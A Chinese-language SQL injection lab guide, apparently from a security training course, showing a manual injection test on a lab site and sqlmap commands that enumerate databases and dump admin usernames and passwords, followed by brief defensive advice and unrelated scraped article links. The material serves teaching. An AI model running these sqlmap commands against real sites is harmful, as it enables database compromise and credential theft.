实验指导说明

实验环境

• 实验环境

o 操作机:Windows XP

o 目标机:Windows 2003

o 目标网址:www.test.ichunqiu

• 实验工具:

Tools Path

SQLMap C:\Tools\注入工具\SQLMap

本节课程通过对SQL注入的演示,让大家了解SQL注入漏洞的方式,并学习应对此种漏洞的防御方法。

实验步骤

第一步 手工检测判断注入点

首先打开目标站点www.test.ichunqiu找注入点,打开文章中心随便点一篇文章,页面地址为http://www.test.ichunqiu/Art_Show.php?id=2,首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。

小i提示:

• 可以看见url里有一个id=2,可以根据这个判断他是由get请求进行提交的,因为通过get请求提交的,提交的数据会在url里进行体现,而这个也是我们可以利用的地方。

• 这里出现了一个错误提示,更新点击数出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了,因为and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句无法继续执行,就会返回错误,这样我们就可以初步判断这个url地址是一个注入点。

快速查找实验工具

• 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。

• 以查找BURP为例为大家演示。

第二步 利用sqlmap对注入点进行注入

将注入点放到sqlmap里进行进一步的判断,打开桌面上的sqlmap。

python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"

返回信息提示这是一个注入点并且返回对方系统的信息,系统是windows,Web容器是apache2.4.9版本,语言php5.2.17版本,目标数据库是mysql5.0.11版本。

第三步 获取数据库内信息

使用以下命令进行注入测试,获取数据库内所有数据库的名称,返回信息目标数据库内有四个数据库:mys mysql test information_schema。

Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbs

使用以下命令查看网站所依赖的数据库的名称,返回信息依赖的数据库为mys。

Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db

使用以下命令获取mys数据库内表信息。

Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tables

mys数据库下一共有十四个表,使用命令获取zzcms_admin表内列的信息。

Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columns

使用以下命令对这name和password两个列进行查询并获取KEY。

Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump

第四步 防御方案

1.普通用户与系统管理员的权限要有严格的区分

2.强迫使用参数化语句

3.加强对用户输入的验证

4.多使用数据库自带的安全参数

5.使用专业的漏洞扫描工具来寻找可能被攻击的点

sql注入示例的更多相关文章

  1. mybatis的sql中使用$会出现sql注入示例

    mybatis的sql中使用$会出现sql注入示例: 模拟简单登录场景: 页面代码: function login(){ //sql注入 var user = { username : "' ...

  2. Sql server之sql注入篇

    SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...

  3. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  4. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  5. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

  6. Node.js 项目中解决 SQL 注入和 XSS 攻击

    1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...

  7. 解决 SQL 注入和 XSS 攻击(Node.js 项目中)

    1.SQL 注入 SQL 注入,一般是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令. SQL 注入示例 在登录界面,后端会根 ...

  8. 初探SQL注入需要知道的5个问题

    SQL注入产生原理 可控变量(注入点,就是传参) 带入数据库查询 变量未存在过滤或过滤不严谨 例子: 获取admin表的pass里面的数据 select * from users where id=1 ...

  9. SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

随机推荐

  1. 记录在IIS中安装部署Orchard遇到的问题

    本机环境:Windows 8.1 + IIS8.5 + VS2013+SQLServer2012 首先是从官网直接下载Orchard.Web 1.7.2版的安装包,在本机IIS上部署,按官方文档一步步 ...

  2. ContentResolver + SqliteOpenHelper + ContentProvider 理解

    惭愧,现在才接触到ContentResolver的用法 这个类主要是Android用来实现应用程序之间数据共享的 一个应用程序可以将自己的数据完全暴露出去,外界更本看不到,也不用看到这个应用程序暴露的 ...

  3. java的几种对象解释

    一.PO:persistent object 持久对象,可以看成是与数据库中的表相映射的Java对象.最简单的PO就是对象数据库中某个表中的一条记录,多个记录可以用PO的集合.PO中应该不包含任何数据 ...

  4. revel框架教程之缓存和Job

    Go语言实战 - revel框架教程之缓存和Job   所有的网站应该都会有一个非常简单的需求,首页一秒之内打开. 满足的方式主要有两种: 页面静态化,效果最好,对服务器基本没负担,只要带宽足够就好了 ...

  5. jQuery LigerUI V1.2.2

    jQuery LigerUI V1.2.2 (包括API和全部源码) 发布 前言 这次版本主要对树进行了加载性能上面的优化,并解决了部分兼容性的问题,添加了几个功能点. 欢迎使用反馈. 相关链接 AP ...

  6. 代码契约CodeContract(八)

    代码契约(Code Contract):它并不是语言本身的新功能,而是一些额外的工具,帮助人们控制代码边界. 代码契约之于C#,就相当于诗词歌赋之于语言. --- C# in Depth 一,概述 1 ...

  7. phpredis扩展

    <?php $redis = new Redis(); $redis->connect('127.0.0.1',6379); $redis->set('test','hello wo ...

  8. 《Head First Python》学习笔记 01

    Python 3提供了70多个内建函数,这是Python“功能齐全”的观点:Python已经包含足够多的内置功能,使你能完成大多数工作,而不必依赖第三方代码. Python 列表: Python列表是 ...

  9. 杭电OJ——1011 Starship Troopers(dfs + 树形dp)

    Starship Troopers Problem Description You, the leader of Starship Troopers, are sent to destroy a ba ...

  10. .Net程序员学用Oracle系列(10):系统函数(下)

    <.Net程序员学用Oracle系列:导航目录> 本文大纲 1.转换函数 1.1.TO_CHAR 1.2.TO_NUMBER 1.3.TO_DATE 1.4.CAST 2.近似值函数 2. ...